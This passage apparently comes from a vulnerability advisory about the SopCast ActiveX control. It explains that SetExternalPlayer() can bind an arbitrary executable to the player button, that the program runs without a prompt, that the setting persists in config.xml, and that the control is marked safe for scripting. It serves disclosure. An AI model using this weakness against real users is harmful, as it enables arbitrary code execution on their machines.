Through the SetExternalPlayer() method and the ExternalPlayer property is possible to associate an arbitrary executable to the "external player" button (for clearness see http://www.sopcast.com/docs/ where the player control buttons are showed) which opens Windows Media Player by default. When the user click this button, the executable is launched without prompts Also this value is stored in config.xml, inside the sopcast local folder for further use, ex. with the sopcast client application Note: this control is safe for scripting and safe for initialization
